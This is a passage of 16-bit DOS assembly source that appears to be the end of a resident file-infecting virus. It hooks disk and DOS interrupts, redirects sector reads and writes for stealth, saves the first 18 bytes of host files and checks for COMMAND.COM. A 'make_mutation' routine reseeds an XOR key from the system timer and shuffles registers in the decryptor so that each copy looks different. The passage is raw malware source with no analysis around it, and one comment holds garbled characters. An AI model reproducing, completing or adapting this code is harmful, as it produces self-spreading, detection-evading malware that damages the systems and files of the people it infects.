  1154.     je    no_error_
  1155.  
  1156.     cmp    byte ptr cs:[function-adjust],03Eh
  1157.     je    Dont_hide
  1158.  
  1159.     inc    byte ptr cs:[next_flag-adjust]
  1160.     dec    ah
  1161.  
  1162. Dont_hide:
  1163.  
  1164.     pushf
  1165.     call    dword ptr cs:[current_13h-adjust]
  1166.     jnc    no_error_
  1167.     mov    byte ptr cs:[flag-adjust],0ff
  1168.  
  1169. no_error_:
  1170.  
  1171.     clc
  1172.     db    0ca,02,0        ;retf 2
  1173.  
  1174.  
  1175. DOS_13h:
  1176.  
  1177.     cmp    byte ptr cs:[next_flag-adjust],0
  1178.     je    OK
  1179.  
  1180.     cmp    ah,2
  1181.     je    Next
  1182.     cmp    ah,3
  1183.     jne    OK
  1184. Next:
  1185.     cmp    byte ptr cs:[next_flag-adjust],1
  1186.     jne    Read
  1187.     inc    ah
  1188.     jne    OK
  1189. Read:
  1190.  
  1191.     dec    ah
  1192. OK:
  1193.     test    dl,80
  1194.     jz    Floppy
  1195.     jmp    dword ptr cs:[org_13h-adjust]
  1196. Floppy:
  1197.     jmp    dword ptr cs:[Floppy_org_13h-adjust]
  1198.  
  1199.  
  1200. Read_First_18:
  1201.  
  1202.     sub    ax,ax
  1203.     mov    es:[di+4],ax
  1204.     mov    es:[di+6],ax
  1205.     mov    ah,3f
  1206.     mov    cx,18
  1207.     mov    dx,buffer-adjust
  1208.     mov    si,dx
  1209.     call    Call_Original_INT_21h
  1210.     call    pusha
  1211.     push    cs
  1212.     pop    es
  1213.     mov    di,offset First_18-adjust
  1214.     mov    cx,18
  1215.     rep    movsb
  1216.     call    popa
  1217.         ret
  1218.  
  1219. Check_For_COMMAND:
  1220.  
  1221.     cmp    es:[di+0f],'OC'
  1222.     jne    Not_COMMAND
  1223.     cmp    es:[di+11],'MM'
  1224.     jne    Not_COMMAND
  1225.     cmp    es:[di+13],'NA'
  1226.     jne    Not_COMMAND            ;check for command.com
  1227.     cmp    es:[di+15],' D'
  1228.     jne    Not_COMMAND
  1229.     cmp    es:[di+17],'OC'
  1230.     jne    Not_COMMAND
  1231.     cmp    byte ptr es:[di+19],'M'
  1232.  
  1233. Not_COMMAND:
  1234.  
  1235.     ret
  1236.  
  1237. pusha:
  1238.     pop    word ptr cs:[ret_addr-adjust]
  1239.     pushf
  1240.     push    ax
  1241.     push    bx
  1242.     push    cx
  1243.     push    dx
  1244.     push    si
  1245.     push    di
  1246.     push    bp
  1247.     push    ds
  1248.     push    es
  1249.     jmp    word ptr cs:[ret_addr-adjust]
  1250.  
  1251. popa:
  1252.     pop    word ptr cs:[ret_addr-adjust]
  1253.     pop    es
  1254.     pop    ds
  1255.     pop    bp
  1256.     pop    di
  1257.     pop    si
  1258.     pop    dx
  1259.     pop    cx
  1260.     pop    bx
  1261.     pop    ax
  1262.     popf
  1263.     jmp    word ptr cs:[ret_addr-adjust]
  1264.  
  1265. make_mutation:
  1266.  
  1267.         sub     ax,ax
  1268.     mov    ds,ax
  1269.     mov    ax,[046C]
  1270.     or    al,al
  1271.     clc
  1272.     jnz    good_value
  1273.     inc    al
  1274.     stc
  1275.  
  1276. good_value:
  1277.  
  1278.     push    cs
  1279.     pop    ds
  1280.  
  1281.     mov    byte ptr [xorvalue-adjust],al
  1282.     jnc    well_ok
  1283.     dec    al
  1284.  
  1285. well_ok:
  1286.  
  1287.     and    al,0111b    ;BX,SI,DI,BP
  1288.     or    al,0100b
  1289.  
  1290.     cmp    al,0100b
  1291.     jne    okreg
  1292.     inc    al
  1293.  
  1294. okreg:
  1295.  
  1296.     and    byte ptr [popreg-adjust],11111000b
  1297.     or    byte ptr [popreg-adjust],al
  1298.  
  1299.     and    byte ptr [addtoreg-adjust],11111000b
  1300.     or    byte ptr [addtoreg-adjust],al
  1301.  
  1302.     and    byte ptr [incmain-adjust],11111000b
  1303.     or    byte ptr [incmain-adjust],al
  1304.  
  1305.     and    byte ptr [pushreg-adjust],11111000b
  1306.     or    byte ptr [pushreg-adjust],al
  1307.  
  1308.     call    adjustreg
  1309.  
  1310.     and    byte ptr [xorreg-adjust],11111000b
  1311.     or    byte ptr [xorreg-adjust],al
  1312.  
  1313.     and    ah,0011b    ;AX,CX,DX
  1314.     cmp    ah,0011b    ;00,01,02
  1315.     jne    okreg2
  1316.     dec    ah
  1317. okreg2:
  1318.  
  1319.     and    byte ptr [loadcount-adjust],11111000b
  1320.     or    byte ptr [loadcount-adjust],ah
  1321.  
  1322.     and    byte ptr [deccount-adjust],11111000b
  1323.     or    byte ptr [deccount-adjust],ah
  1324.  
  1325.     mov    ax,word ptr [First_instr-adjust]
  1326.     xchg    ah,al
  1327.     mov    word ptr [First_instr-adjust],ax
  1328.  
  1329.     ret
  1330.  
  1331.  
  1332. adjustreg:
  1333.  
  1334.     cmp    al,0011b
  1335.     je    abx
  1336.     cmp    al,0101b
  1337.     je    abp
  1338.     cmp    al,0110b
  1339.     je    asi
  1340.     mov    al,0101b
  1341.     ret
  1342. abx:
  1343.     mov    al,0111b
  1344.     ret
  1345. abp:
  1346.     mov    al,0110b
  1347.     ret
  1348. asi:
  1349.     mov    al,0100b
  1350.     ret
  1351.  
  1352.  
  1353. msg:
  1354.  
  1355. First_18:
  1356.  
  1357.     ret
  1358.     db    17    dup (?)
  1359.  
  1360.  
  1361. endcode label    word
  1362.  
  1363.     current_21h    dd ?
  1364.     current_13h    dd ?
  1365.     org_2fh dd    ?
  1366.     org_13h dd    ?
  1367.     org_21h dd    ?
  1368.     Floppy_org_13h    dd ?
  1369.     flag    db    ?    ;0ff if error occureî≥
  1370.     veri    db    ?
  1371.     handle    dw    ?
  1372.     fname    db    8+3 dup (?)
  1373.     function db    ?
  1374.     my_flag db ?
  1375.     limit        dw ?
  1376.     mem_        dw ?
  1377.     next_flag    db ?
  1378.     ret_addr    dw ?
  1379.  
  1380. buffer    label    word
  1381.  
  1382. 
  1383.  
  1384.